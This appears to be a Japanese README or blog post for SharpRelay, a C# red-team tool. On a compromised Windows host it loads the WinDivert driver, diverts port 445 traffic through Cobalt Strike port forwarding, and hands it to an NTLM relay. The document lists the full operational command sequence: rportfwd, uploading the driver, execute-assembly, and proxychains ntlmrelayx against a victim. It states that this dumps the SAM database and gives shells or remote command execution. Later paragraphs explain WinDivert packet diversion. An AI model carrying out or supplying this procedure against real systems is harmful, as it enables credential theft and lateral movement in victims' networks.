
WinDivertドライバを利用してWindowsのポート445トラフィックをインターセプトし、Cobalt Strike経由でNTLMリレー攻撃にリダイレクトするC#ツール。レッドチーム運用における横方向の移動と認証情報の収集を可能にします。
この攻撃を機能させるための唯一の要件は、ローカル管理者権限を持つビーコン、またはドライバをロードできるビーコンを持つことです。SharpRelayを使用した攻撃は以下のように動作します:
rportfwdコマンドを実行して、侵害されたホストのポート8445を自チームサーバーのポート445に転送します。以下のコマンド例をCobalt Strikeから実行して、これらのアクションを実行できます:
socks 4444
rportfwd 8445 127.0.0.1 445
cd C:\Users\victim
upload /root/Desktop/intercept.sys
execute-assembly /root/Desktop/SharpRelay.exe fakeservice C:\Users\victim\intercept.sys 445 8445
上記がすべて正常に実行されたら、リレーサーバーを起動する必要があります(proxychainsを上記のコマンドで指定したポート(例:4444)に設定します):
proxychains ntlmrelayx.py -t smb://<VICTIM-IP> -smb2support
上記のコマンドは、被害者ホストからSAMデータベースをダンプします。また、対話型SMBシェルを取得したり、被害者上でリモートでコマンドを実行したりすることも可能です。
SharpRelayはWin10 x64でテスト済みです。
ソースからツールをビルドしたい場合は、以下の手順を実行します:
上記の手順はVisual Studio 2019を使用してテストされています。
SharpRelayはWinDivertドライバに基づいています。その説明によると、WinDivertはユーザーモードでのパケット傍受と修正を可能にするカーネルドライバです。ユーザーはフィルタを指定する必要があり、このフィルタに一致するパケットは傍受され、修正可能になります。
ReadMeファイルより:
The WinDivert.sys driver is installed below the Windows network stack. The
following actions occur:
(1) A new packet enters the network stack and is intercepted by WinDivert.sys
(2a) If the packet matches the PROGRAM-defined filter, it is diverted. The
PROGRAM can then read the packet using a call to WinDivertRecv().
(2b) If the packet does not match the filter, the packet continues as normal.
(3) PROGRAM either drops, modifies, or re-injects the packet. PROGRAM can
re-inject the (modified) using a call to WinDivertSend().
私たちにとって、WinDivertが可能にする最も重要なことは、開いているWindowsポートに向かうトラフィックを傍受し、各パケットのTCP送信元ポートと宛先ポートを変更し、TCPチェックサムを再計算してパケットをネットワークスタックに再注入することで、別のポートにリダイレクトできることです。
Windowsでは、ポート445はデフォルトで常に実行されています。ポート445を使用するプロセスの詳細については、以下の投稿ですでに分析されているため、ここでは詳しく説明しません。ぜひお読みください:
上記の投稿には、もう一つ興味深いアイデアが含まれています。WinDivertを使用してMetasploit経由でSMBリレー攻撃を実行する方法です。divertTCPconn.exeといくつかのDLLとドライバファイルをターゲットホストにアップロードして実行します。この攻撃は素晴らしいと思いましたが、気に入らなかったのは、ターゲットホストに複数のDLLをアップロードしなければならなかったことです。
そこで、私の目標は、ディスク上に最小限のファイルだけを配置し、かつCobalt Strikeを通じて攻撃を実行することでした。
まず第一に、Cobalt Strikeのexecute-assembly機能を利用したかったので、.NETフレームワークを使用してコードを書くことにしました。最初はdivertTCPconnをC#で書き直せばすべてうまくいくと考えましたが、これが非常に複雑であることが判明しました。幸いなことに、TechnikEmpireによって書かれた次のNuGetパッケージを見つけました:
WinDivertSharpを使用して、サービスを作成してドライバをロードし、WinDivertドライバと通信して必要なパケット修正を実行するSharpRelayを書くことができました。